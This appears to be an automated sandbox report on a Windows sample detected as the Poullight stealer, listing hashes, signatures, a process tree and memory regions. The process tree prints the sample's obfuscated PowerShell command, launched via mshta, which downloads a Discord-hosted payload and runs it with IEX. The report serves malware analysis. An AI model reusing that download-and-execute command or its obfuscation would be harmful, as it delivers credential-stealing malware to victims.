Analysis
-
max time kernel
69s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
16-08-2021 16:18
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210816-144801.exe
Resource
win7v20210410
General
-
Target
eufive_20210816-144801.exe
-
Size
482KB
-
MD5
5ba895fb23729ffbb001e5dfe74aa132
-
SHA1
7a2b094329f369ff5a67971c3a71c46775e93000
-
SHA256
7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae
-
SHA512
34ad4a38eb4983018e1c626550378ef4622be2fb02b74d1bacf9155cc835fb838a092c53b5b46e1ee45eac4ba13e723e661bb5e969480a56d2839d14d79c8cde
Malware Config
Extracted
https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt
Signatures
-
Poullight Stealer Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/3292-147-0x0000000000400000-0x0000000000420000-memory.dmp family_poullight behavioral2/memory/3292-148-0x000000000041A94E-mapping.dmp family_poullight behavioral2/memory/3292-157-0x0000000005440000-0x000000000593E000-memory.dmp family_poullight -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 1896 created 3292 1896 WerFault.exe aspnet_compiler.exe -
Blocklisted process makes network request 4 IoCs
Processes:
mshta.exepowershell.exeflow pid process 11 2488 mshta.exe 15 2488 mshta.exe 17 2488 mshta.exe 18 2620 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2620 set thread context of 3292 2620 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1896 3292 WerFault.exe aspnet_compiler.exe -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeaspnet_compiler.exeWerFault.exepid process 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 3292 aspnet_compiler.exe 3292 aspnet_compiler.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe 1896 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
powershell.exeaspnet_compiler.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2620 powershell.exe Token: SeDebugPrivilege 3292 aspnet_compiler.exe Token: SeRestorePrivilege 1896 WerFault.exe Token: SeBackupPrivilege 1896 WerFault.exe Token: SeDebugPrivilege 1896 WerFault.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
eufive_20210816-144801.exemshta.exepowershell.exedescription pid process target process PID 856 wrote to memory of 2488 856 eufive_20210816-144801.exe mshta.exe PID 856 wrote to memory of 2488 856 eufive_20210816-144801.exe mshta.exe PID 2488 wrote to memory of 2620 2488 mshta.exe powershell.exe PID 2488 wrote to memory of 2620 2488 mshta.exe powershell.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe PID 2620 wrote to memory of 3292 2620 powershell.exe aspnet_compiler.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875404916150116402/875405147503751198/Sekonds.txt2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3292 -s 11205⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/856-114-0x0000000000680000-0x0000000000681000-memory.dmpFilesize
4KB
-
memory/2488-116-0x0000000000000000-mapping.dmp
-
memory/2620-118-0x0000000000000000-mapping.dmp
-
memory/2620-124-0x000001709F780000-0x000001709F781000-memory.dmpFilesize
4KB
-
memory/2620-127-0x000001709F930000-0x000001709F931000-memory.dmpFilesize
4KB
-
memory/2620-130-0x000001709EDB0000-0x000001709EDB2000-memory.dmpFilesize
8KB
-
memory/2620-131-0x000001709EDB3000-0x000001709EDB5000-memory.dmpFilesize
8KB
-
memory/2620-135-0x000001709EDB6000-0x000001709EDB8000-memory.dmpFilesize
8KB
-
memory/2620-146-0x000001709F8E0000-0x000001709F8EE000-memory.dmpFilesize
56KB
-
memory/3292-147-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/3292-148-0x000000000041A94E-mapping.dmp
-
memory/3292-154-0x0000000005940000-0x0000000005941000-memory.dmpFilesize
4KB
-
memory/3292-155-0x0000000005520000-0x0000000005521000-memory.dmpFilesize
4KB
-
memory/3292-156-0x0000000005510000-0x0000000005511000-memory.dmpFilesize
4KB
-
memory/3292-157-0x0000000005440000-0x000000000593E000-memory.dmpFilesize
5.0MB
-
memory/3292-158-0x0000000005770000-0x0000000005771000-memory.dmpFilesize
4KB
-
memory/3292-159-0x00000000062F0000-0x00000000062F1000-memory.dmpFilesize
4KB
-
memory/3292-160-0x0000000007490000-0x0000000007491000-memory.dmpFilesize
4KB